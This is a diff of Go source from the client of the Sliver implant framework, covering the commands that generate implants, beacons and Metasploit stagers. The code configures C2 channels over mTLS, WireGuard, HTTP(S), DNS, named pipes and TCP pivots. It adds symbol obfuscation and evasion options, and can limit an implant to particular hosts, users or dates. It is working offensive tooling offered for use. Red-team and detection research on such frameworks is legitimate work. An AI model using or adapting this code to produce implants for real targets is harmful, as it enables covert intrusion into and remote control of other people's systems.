tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Sliver Name",
"Domain",
"Triggered",
"First Trigger",
"Latest Trigger",
})
for _, canary := range canaries {
if burnedOnly && !canary.Triggered {
continue
}
lineColor := console.Normal
if canary.Triggered {
lineColor = console.Bold + console.Red
}
firstTrigger := "Never"
latestTrigger := "Never"
if canary.Triggered {
firstTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.FirstTriggered)
latestTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.LatestTrigger)
}
row := table.Row{
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.ImplantName),
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.Domain),
fmt.Sprintf(lineColor+"%v"+console.Normal, canary.Triggered),
firstTrigger,
latestTrigger,
}
tw.AppendRow(row)
}
con.Printf("%s\n", tw.Render())
}
@@ -0,0 +1,48 @@
package generate
import (
"fmt"
"os"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
var (
minBeaconInterval = 5 * time.Second
ErrBeaconIntervalTooShort = fmt.Errorf("beacon interval must be %v or greater", minBeaconInterval)
)
// GenerateBeaconCmd - The main command used to generate implant binaries
func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
config := parseCompileFlags(ctx, con)
if config == nil {
return
}
config.IsBeacon = true
err := parseBeaconFlags(ctx, con, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
compile(config, save, con)
}
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
if interval < minBeaconInterval {
return ErrBeaconIntervalTooShort
}
config.BeaconInterval = int64(interval)
config.BeaconJitter = int64(time.Duration(ctx.Flags.Int64("jitter")) * time.Second)
return nil
}
+34
View File
@@ -0,0 +1,34 @@
package generate
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// GenerateInfoCmd - Display information about the Sliver server's compiler configuration
func GenerateInfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Failed to get compiler information: %s\n", err)
return
}
con.Printf("%sServer:%s %s/%s\n", console.Bold, console.Normal, compiler.GOOS, compiler.GOARCH)
con.Println()
con.Printf("%sCross Compilers%s\n", console.Bold, console.Normal)
for _, cc := range compiler.CrossCompilers {
con.Printf("%s/%s - %s\n", cc.TargetGOOS, cc.TargetGOARCH, cc.GetCCPath())
}
con.Println()
con.Printf("%sSupported Targets%s\n", console.Bold, console.Normal)
for _, target := range compiler.Targets {
con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
}
con.Println()
con.Printf("%sDefault Builds Only%s\n", console.Bold, console.Normal)
for _, target := range compiler.UnsupportedTargets {
con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
}
}
+117
View File
@@ -0,0 +1,117 @@
package generate
import (
"context"
"fmt"
"io/ioutil"
"net"
"os"
"path/filepath"
"regexp"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// GenerateStagerCmd - Generate a stager using Metasploit
func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var stageProto clientpb.StageProtocol
lhost := ctx.Flags.String("lhost")
if lhost == "" {
con.PrintErrorf("Please specify a listening host")
return
}
match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost)
if err != nil {
return
}
if !match {
addr, err := net.LookupHost(lhost)
if err != nil {
con.PrintErrorf("Error resolving %s: %v\n", lhost, err)
return
}
if len(addr) > 1 {
prompt := &survey.Select{
Message: "Select an address",
Options: addr,
}
err := survey.AskOne(prompt, &lhost)
if err != nil {
con.PrintErrorf("Error: %v\n", err)
return
}
} else {
lhost = addr[0]
}
}
lport := ctx.Flags.Int("lport")
stageOS := ctx.Flags.String("os")
arch := ctx.Flags.String("arch")
proto := ctx.Flags.String("protocol")
format := ctx.Flags.String("format")
badchars := ctx.Flags.String("badchars")
save := ctx.Flags.String("save")
bChars := make([]string, 0)
if len(badchars) > 0 {
for _, b := range strings.Split(badchars, " ") {
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
}
}
switch proto {
case "tcp":
stageProto = clientpb.StageProtocol_TCP
case "http":
stageProto = clientpb.StageProtocol_HTTP
case "https":
stageProto = clientpb.StageProtocol_HTTPS
default:
con.PrintErrorf("%s staging protocol not supported\n", proto)
return
}
ctrl := make(chan bool)
con.SpinUntil("Generating stager, please wait ...", ctrl)
stageFile, err := con.Rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
Arch: arch,
BadChars: bChars,
Format: format,
Host: lhost,
Port: uint32(lport),
Protocol: stageProto,
OS: stageOS,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v", err)
return
}
if save != "" || format == "raw" {
saveTo, _ := filepath.Abs(save)
fi, err := os.Stat(saveTo)
if err != nil {
con.PrintErrorf("Failed to generate sliver stager %v\n", err)
return
}
if fi.IsDir() {
saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
}
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return
}
con.PrintInfof("Sliver implant stager saved to: %s\n", saveTo)
} else {
con.PrintInfof("Here's your stager:")
con.Println(string(stageFile.GetFile().GetData()))
}
}
+725
View File
@@ -0,0 +1,725 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"fmt"
"io/ioutil"
"log"
"net"
"net/url"
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
const (
// DefaultMTLSLPort is the default port for mtls
DefaultMTLSLPort = 8888
// DefaultWGPort is the default port for wg
DefaultWGLPort = 53
// DefaultWGNPort is the default n port for wg
DefaultWGNPort = 8888
// DefaultWGKeyExPort is the default port for wg key exchange
DefaultWGKeyExPort = 1337
// DefaultHTTPLPort is the default port for http
DefaultHTTPLPort = 80
// DefaultHTTPSLPort is the default port for https
DefaultHTTPSLPort = 443
// DefaultDNSLPortis the default port for dns
DefaultDNSLPort = 53
// DefaultTCPPivotPort is the default port for tcp pivots
DefaultTCPPivotPort = 9898
// DefaultReconnect is the default reconnect time
DefaultReconnect = 60
// DefaultPollTimeout is the default poll timeout
DefaultPollTimeout = 360 // 6 minutes
// DefaultMaxErrors is the default max reconnection errors before giving up
DefaultMaxErrors = 1000
)
const (
crossCompilerInfoURL = "https://github.com/BishopFox/sliver/wiki/Cross-Compiling-Implants"
)
var (
// SupportedCompilerTargets - Supported compiler targets
SupportedCompilerTargets = map[string]bool{
"darwin/amd64": true,
"darwin/arm64": true,
"linux/386": true,
"linux/amd64": true,
"windows/386": true,
"windows/amd64": true,
}
)
// GenerateCmd - The main command used to generate implant binaries
func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
config := parseCompileFlags(ctx, con)
if config == nil {
return
}
save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
compile(config, save, con)
}
func expandPath(path string) string {
// unless path starts with ~
if len(path) == 0 || path[0] != 126 {
return path
}
return filepath.Join(os.Getenv("HOME"), path[1:])
}
func saveLocation(save, DefaultName string) (string, error) {
var saveTo string
if save == "" {
save, _ = os.Getwd()
}
save = expandPath(save)
fi, err := os.Stat(save)
if os.IsNotExist(err) {
log.Printf("%s does not exist\n", save)
if strings.HasSuffix(save, "/") {
log.Printf("%s is dir\n", save)
os.MkdirAll(save, 0700)
saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
} else {
log.Printf("%s is not dir\n", save)
saveDir := filepath.Dir(save)
_, err := os.Stat(saveTo)
if os.IsNotExist(err) {
os.MkdirAll(saveDir, 0700)
}
saveTo, _ = filepath.Abs(save)
}
} else {
log.Printf("%s does exist\n", save)
if fi.IsDir() {
log.Printf("%s is dir\n", save)
saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
} else {
log.Printf("%s is not dir\n", save)
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
return "", errors.New("file already exists")
}
saveTo, _ = filepath.Abs(save)
}
}
return saveTo, nil
}
func nameOfOutputFormat(value clientpb.OutputFormat) string {
switch value {
case clientpb.OutputFormat_EXECUTABLE:
return "Executable"
case clientpb.OutputFormat_SERVICE:
return "Service"
case clientpb.OutputFormat_SHARED_LIB:
return "Shared Library"
case clientpb.OutputFormat_SHELLCODE:
return "Shellcode"
}
panic(fmt.Sprintf("Unknown format %v", value))
}
// Shared function that extracts the compile flags from the grumble context
func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
var name string
if ctx.Flags["name"] != nil {
name = strings.ToLower(ctx.Flags.String("name"))
if name != "" {
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
if !isAlphanumeric(name) {
con.PrintErrorf("Implant's name must be in alphanumeric only\n")
return nil
}
}
}
c2s := []*clientpb.ImplantC2{}
mtlsC2, err := ParseMTLSc2(ctx.Flags.String("mtls"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, mtlsC2...)
wgC2, err := ParseWGc2(ctx.Flags.String("wg"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, wgC2...)
httpC2, err := ParseHTTPc2(ctx.Flags.String("http"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, httpC2...)
dnsC2, err := ParseDNSc2(ctx.Flags.String("dns"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, dnsC2...)
namedPipeC2, err := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, namedPipeC2...)
tcpPivotC2, err := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, tcpPivotC2...)
var symbolObfuscation bool
if ctx.Flags.Bool("debug") {
symbolObfuscation = false
} else {
symbolObfuscation = !ctx.Flags.Bool("skip-symbols")
}
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
return nil
}
rawCanaries := ctx.Flags.String("canary")
canaryDomains := []string{}
if 0 < len(rawCanaries) {
for _, canaryDomain := range strings.Split(rawCanaries, ",") {
if !strings.HasSuffix(canaryDomain, ".") {
canaryDomain += "." // Ensure we have the FQDN
}
canaryDomains = append(canaryDomains, canaryDomain)
}
}
reconnectInterval := ctx.Flags.Int("reconnect")
pollTimeout := ctx.Flags.Int("poll-timeout")
maxConnectionErrors := ctx.Flags.Int("max-errors")
limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
limitHostname := ctx.Flags.String("limit-hostname")
limitUsername := ctx.Flags.String("limit-username")
limitDatetime := ctx.Flags.String("limit-datetime")
limitFileExists := ctx.Flags.String("limit-fileexists")
isSharedLib := false
isService := false
isShellcode := false
format := ctx.Flags.String("format")
runAtLoad := false
var configFormat clientpb.OutputFormat
switch format {
case "exe":
configFormat = clientpb.OutputFormat_EXECUTABLE
case "shared":
configFormat = clientpb.OutputFormat_SHARED_LIB
isSharedLib = true
runAtLoad = ctx.Flags.Bool("run-at-load")
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
case "service":
configFormat = clientpb.OutputFormat_SERVICE
isService = true
default:
// Default to exe
configFormat = clientpb.OutputFormat_EXECUTABLE
}
targetOS := strings.ToLower(ctx.Flags.String("os"))
targetArch := strings.ToLower(ctx.Flags.String("arch"))
targetOS, targetArch = getTargets(targetOS, targetArch, con)
if targetOS == "" || targetArch == "" {
return nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
return nil
}
// Check to see if we can *probably* build the target binary
if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
return nil
}
var tunIP net.IP
if wg := ctx.Flags.String("wg"); wg != "" {
uniqueWGIP, err := con.Rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
tunIP = net.ParseIP(uniqueWGIP.IP)
if err != nil {
con.PrintErrorf("Failed to generate unique ip for wg peer tun interface")
return nil
}
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
}
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: targetArch,
Name: name,
Debug: ctx.Flags.Bool("debug"),
Evasion: ctx.Flags.Bool("evasion"),
ObfuscateSymbols: symbolObfuscation,
C2: c2s,
CanaryDomains: canaryDomains,
WGPeerTunIP: tunIP.String(),
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
PollTimeout: int64(pollTimeout) * int64(time.Second),
MaxConnectionErrors: uint32(maxConnectionErrors),
LimitDomainJoined: limitDomainJoined,
LimitHostname: limitHostname,
LimitUsername: limitUsername,
LimitDatetime: limitDatetime,
LimitFileExists: limitFileExists,
Format: configFormat,
IsSharedLib: isSharedLib,
IsService: isService,
IsShellcode: isShellcode,
RunAtLoad: runAtLoad,
}
return config
}
func getTargets(targetOS string, targetArch string, con *console.SliverConsoleClient) (string, string) {
/* For UX we convert some synonymous terms */
if targetOS == "darwin" || targetOS == "mac" || targetOS == "macos" || targetOS == "osx" {
targetOS = "darwin"
}
if targetOS == "windows" || targetOS == "win" || targetOS == "shit" {
targetOS = "windows"
}
if targetOS == "linux" || targetOS == "lin" {
targetOS = "linux"
}
if targetArch == "amd64" || targetArch == "x64" || strings.HasPrefix(targetArch, "64") {
targetArch = "amd64"
}
if targetArch == "386" || targetArch == "x86" || strings.HasPrefix(targetArch, "32") {
targetArch = "386"
}
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
if _, ok := SupportedCompilerTargets[target]; !ok {
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
console.Bold, target, console.Normal,
)
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
return "", ""
}
}
return targetOS, targetArch
}
// ParseMTLSc2 - Parse mtls connection string arg
func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "mtls://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "mtls" {
return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s, nil
}
// ParseWGc2 - Parse wg connect string arg
func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "wg://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "wg" {
return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s, nil
}
// ParseHTTPc2 - Parse HTTP connection string arg
func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("https://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "http" && uri.Scheme != "https" {
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s, nil
}
// ParseDNSc2 - Parse DNS connection string arg
func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "dns://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("dns://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "dns" {
return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s, nil
}
// ParseNamedPipec2 - Parse named pipe connection string arg
func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
arg = strings.ReplaceAll(arg, "\\", "/")
arg = strings.TrimPrefix(arg, "/")
arg = strings.TrimPrefix(arg, "/")
var uri *url.URL
var err error
if strings.HasPrefix(arg, "namedpipe://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("namedpipe://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "namedpipe" {
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
}
if !strings.HasPrefix(uri.Path, "/pipe/") {
prompt := &survey.Confirm{
Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
}
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s, nil
}
// ParseTCPPivotc2 - Parse tcp pivot connection string arg
func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "tcp-pivot://") {
arg = strings.Replace(arg, "tcp-pivot://", "tcppivot://", 1)
}
if strings.HasPrefix(arg, "tcppivot://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("tcppivot://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "tcppivot" {
return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s, nil
}
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
} else {
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
}
if config.ObfuscateSymbols {
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
} else if !config.Debug {
con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
}
start := time.Now()
ctrl := make(chan bool)
con.SpinUntil("Compiling, please wait ...", ctrl)
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
Config: config,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return nil, err
}
end := time.Now()
elapsed := time.Time{}.Add(end.Sub(start))
con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
if len(generated.File.Data) == 0 {
con.PrintErrorf("Build failed, no file data\n")
return nil, errors.New("no file data")
}
saveTo, err := saveLocation(save, generated.File.Name)
if err != nil {
return nil, err
}
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
}
con.PrintInfof("Implant saved to %s\n", saveTo)
return generated.File, err
}
func getLimitsString(config *clientpb.ImplantConfig) string {
limits := []string{}
if config.LimitDatetime != "" {
limits = append(limits, fmt.Sprintf("datetime=%s", config.LimitDatetime))
}
if config.LimitDomainJoined {
limits = append(limits, fmt.Sprintf("domainjoined=%v", config.LimitDomainJoined))
}
if config.LimitUsername != "" {
limits = append(limits, fmt.Sprintf("username=%s", config.LimitUsername))
}
if config.LimitHostname != "" {
limits = append(limits, fmt.Sprintf("hostname=%s", config.LimitHostname))
}
if config.LimitFileExists != "" {
limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
}
return strings.Join(limits, "; ")
}
func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
if format == clientpb.OutputFormat_EXECUTABLE {
return true // We don't need cross-compilers when targeting EXECUTABLE formats
}
compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Failed to check target compatibility: %s\n", err)
return true
}
if runtime.GOOS != "windows" && targetOS == "windows" {
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
}
}
if runtime.GOOS != "darwin" && targetOS == "darwin" {
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
}
}
if runtime.GOOS != "linux" && targetOS == "linux" {
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
}
}
return true
}
func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossCompiler) bool {
for _, cc := range crossCompilers {
if cc.GetTargetGOOS() == targetOS && cc.GetTargetGOARCH() == targetArch {
return true
}
}
return false
}
func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
switch targetOS {
case "windows":
con.PrintWarnf("The server cannot find an installation of mingw")
case "darwin":
con.PrintWarnf("The server cannot find an installation of osxcross")
case "linux":
con.PrintWarnf("The server cannot find an installation of musl-cross")
}
con.PrintWarnf("For more information please read %s\n", crossCompilerInfoURL)
confirm := false
prompt := &survey.Confirm{Message: "Try to compile anyways (will likely fail)?"}
survey.AskOne(prompt, &confirm, nil)
return confirm
}
+57
View File
@@ -0,0 +1,57 @@
package generate
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// GetSliverBinary - Get the binary of an implant based on it's profile
func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) {
var data []byte
// get implant builds
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
return data, err
}
implantName := buildImplantName(profile.GetConfig().GetName())
_, ok := builds.GetConfigs()[implantName]
if implantName == "" || !ok {
// no built implant found for profile, generate a new one
con.PrintInfof("No builds found for profile %s, generating a new one\n", profile.GetName())
ctrl := make(chan bool)
con.SpinUntil("Compiling, please wait ...", ctrl)
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
Config: profile.Config,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error generating implant\n")
return data, err
}
data = generated.GetFile().GetData()
profile.Config.Name = buildImplantName(generated.GetFile().GetName())
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("Error updating implant profile\n")
return data, err
}
} else {
// Found a build, reuse that one
con.PrintInfof("Sliver name for profile: %s\n", implantName)
regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: profile.GetConfig().GetName(),
})
if err != nil {
return data, err
}
data = regenerate.GetFile().GetData()
}
return data, err
}
+38
View File
@@ -0,0 +1,38 @@
package generate
import (
"context"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// ImplantsRmCmd - Deletes an archived implant build from the server
func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("No name specified\n")
return
}
build := ImplantBuildByName(name, con)
if build == nil {
con.PrintErrorf("No implant build found with name '%s'\n", name)
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
Name: name,
})
if err != nil {
con.PrintErrorf("Failed to delete implant %s\n", err)
return
}
}
+166
View File
@@ -0,0 +1,166 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"sort"
"strings"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// ImplantBuildFilter - Filter implant builds
type ImplantBuildFilter struct {
GOOS string
GOARCH string
Beacon bool
Session bool
Format string
Debug bool
}
// ImplantsCmd - Displays archived implant builds
func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
implantBuildfilters := ImplantBuildFilter{}
if 0 < len(builds.Configs) {
PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
} else {
con.PrintInfof("No implant builds\n")
}
}
// PrintImplantBuilds - Print the implant builds on the server
func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Implant Type",
"OS/Arch",
"Format",
"Command & Control",
"Debug",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
for sliverName, config := range configs {
if filters.GOOS != "" && config.GOOS != filters.GOOS {
continue
}
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
continue
}
if filters.Beacon && !config.IsBeacon {
continue
}
if filters.Session && config.IsBeacon {
continue
}
if filters.Debug && config.Debug {
continue
}
if filters.Format != "" && (!strings.EqualFold(config.Format.String(), filters.Format) ||
!strings.HasPrefix(strings.ToLower(config.Format.String()), strings.ToLower(filters.Format))) {
continue
}
implantType := "session"
